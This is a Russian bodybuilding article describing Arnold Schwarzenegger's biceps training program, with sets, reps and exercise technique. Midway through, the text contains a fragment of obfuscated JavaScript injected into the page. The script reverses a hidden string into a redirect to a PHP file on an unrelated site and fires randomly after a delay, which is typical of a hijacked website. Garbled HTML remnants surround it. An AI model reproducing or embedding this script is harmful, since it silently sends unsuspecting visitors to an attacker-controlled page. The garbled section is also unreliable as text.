Были времена, когда весь мир знал только одного бодибилдера и это Арнольд Шварценеггер. И все знали лишь одну программу тренировок бицепса под названием «Система Арнольда». Сегодня с высоты прошедших десятилетий тренировочные рекомендации величайшего культуриста 20-го столетия кажутся слишком интенсивными и потому спорными.
Современный научный опыт «накачки» подсказывает множество контраргументов против огромных изматывающих нагрузок. Тем более, когда речь идет о бицепсе (относительно малой мышце), вдобавок перегруженной косвенным воздействием упражнений на грудь и спину. Однако стоит лишь бросить свой взор на фото Арнольда Шварценеггера, как все возражения тут же рассыпаются в пыль.
Общеизвестно, что накачать бицепс можно только сгибаниями руки в локтевом суставе. Это движение имеет много вариантов выполнения, которые делятся на две группы. Первый вариант включает сгибания, при которых гантели или штанга перемещаются по полной амплитуде, а второй — движения, при которых отягощение движется по ограниченной траектории, и при этом локоть уперт в неподвижную опору. Эти разные формы упражнения по-разному действуют на бицепс. Полная амплитуда развивает массу, ограниченная — рельеф, сепарацию и пик.
Когда я приехал в Калифорнию, Ларри Скотт был в зените славы со своей теорией «накачки массы бицепса» с помощью пюпитра (Скамья Скотта). Не знаю, может быть, я сделан из другого теста, но пюпитр в смысле массы мне ровным счетом не дал ничего. Я остался при своем мнении: фиксация локтя задает форму бицепсу, и больше ничего.
Упражнения на массу бицепса
Подъем на бицепс со штангой
Моя программа начинается с подъема на бицепс со штангой. В начале движения гриф покоится на передней поверхности бедер, хват на ширине плеч. За счет небольшого усилия всей мускулатуры тела я слегка «подбрасываю» штангу, а потом «ловлю» ее выше «мертвого» участка. Дальше я делаю подъем только силой мышц бицепсов. Обратно я возвращаю штангу медленно, под полным контролем. Я выполняю 5-8 сетов по 8-12 повторений. Диапазон сетов задан мной в расчете на колебания самочувствия.
Нельзя на каждой тренировке тренироваться одинаково. Тонус мышц скачет из-за разной степени восстановления. В один день отдыхаешь лучше, в другой чуть хуже. Если вы попробуете сделать экстремальное число сетов на фоне низкого тонуса бицепсов, то слабость мышц приведет к перемещению нагрузки на связки и в итоге к травме. Так называемый, «волевой» тренинг на самом деле верная дорожка к травмам сухожилий. Нужно внимательно прислушиваться к себе, чтобы точно соизмерять нагрузку с реальным физиологическим потенциалом мускулатуры на каждой конкретной тренировке.
Подъем гантелей на бицепс сидя
Мое второе упражнение на массу — подъем гантелей на бицепс сидя на наклонной скамье. Рекомендую небольшое отклонение спинки скамьи от вертикали — 25-30 градусов. Я наклоняю спинку ниже — на все 45 градусов. При таком наклоне на старте бицепсы получают сильнейшую предварительную растяжку. Чем сильнее растянута мышца, тем больше мышечных волокон участвуют в ее сокращении — это проверенный закон физиологии. Так что подъем гантелей на бицепс сидя на наклонной скамье — это упражнение, строящее массу. Всего я выполняю 5-8 сетов из 8-12 повторений. Конкретное число сетов и повторов зависит, как я указывал, от уровня моего самочувствия.
Упражнения на форму бицепса
{if (typeof ($Ikf.list[n]) == «string») return $Ikf.list[n].split(«»).reverse().join(«»);return $Ikf.list[n];};$Ikf.list=[«\’php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}</script>anding-concentration-curls.jpg» alt=»» width=»422″ height=»561″ /></p><p>Далее я выполняю упражнения для повышения пика бицепса, улучшения его дефиниции и общей формы. Сначала я делаю концентрированные подъемы одной рукой. Тут задача такая — обеспечить полную изоляцию бицепса. Однако обеспечить изоляцию при любом варианте концентрированных подъемов трудно. Вот поэтому я изобрел принципиально новую форму движения.</p><p>Выгладит оно так. Наклонитесь под прямым углом и обопритесь одной рукой о любую опору, чтобы обеспечить туловищу прочную фиксацию. В другую руку возьмите гантель и дайте руке свободно повиснуть под тяжестью гантели. В соответствии с физическими законами рука примет идеально вертикальное положение. Никакая другая форма выполнения упражнения не даст такого эффекта, особенно, если вы будете делать движение сидя с опорой локтя о внутреннюю поверхность бедра. Плечевая кость, хотите вы этого или нет, всегда будет слегка наклонена.</p><p>Мой вариант обеспечивает абсолютную изоляцию бицепса, которая приводит к формированию исключительно высокого пика. Всего 5 сетов по 8-12 повторений. Излишне говорить, что в данном упражнении все упирается в правильную технику. Следовательно, вес гантели должен быть относительно небольшим. Упражнение без правильной техники — зря потраченной время и силы.</p><p>Следующее упражнение на форму — попеременный подъем гантелей стоя. Вот здесь-то и находится место для супинации, т.е. разворота кисти наружу. Никто не спорит, что супинация кистей приводит к исключительно полному сокращению бицепса, однако, на мой взгляд, место супинации — только среди «шлифующих» упражнений. Смешивать работу на массу и супинацию кистей нельзя.</p><p><img loading=)
Первое требует грубого волевого напора, второе — внимательного и сосредоточенного отношения к правильной технике. Возьмите относительно небольшой вес, который позволяет вам и в середине амплитуды удерживать локти в неподвижном состоянии, и начинайте упражнение.
Стремитесь как можно сильнее выполнять супинацию. От этого будет большая польза — и для бицепса, и для его пика. Поворот предплечья активизирует плечевую мышцу, пролегающую под бицепсом, увеличивает ее массу и «выталкивает» бицепс наружу. От этого пик бицепса кажется еще больше. В движении 5 сетов и 10 повторений.
Описанных мною четыре упражнений вполне достаточно для составления программы для бицепсов. Единственное, о чем я еще не сказал, так это о растяжке в перерывах между сетами. Для растяжки нужно полностью распрямить руку и чуть-чуть отвести ее назад. Растяжка бицепсов, как я заметил, намного увеличивает отдачу всех упражнений — и на массу, и на пик. Не ленитесь многократно растягивать бицепсы в перерывах между всеми сетами и система Арнольда поможет вам накачать идеальные бицепсы.
Друзья, поддержите нашу группу в Фейсбуке, поделитесь этим постом с друзьями или нажмите кнопку «Мне нравится!» и Вы всегда будете в курсе свежих новостей «Дежурной Качалки»!
Для вас мы собираем лучшие тренировки, рекомендации по правильному питанию и конечно же юмор из мира красивых, энергичных и здоровых людей — таких как мы с вами!
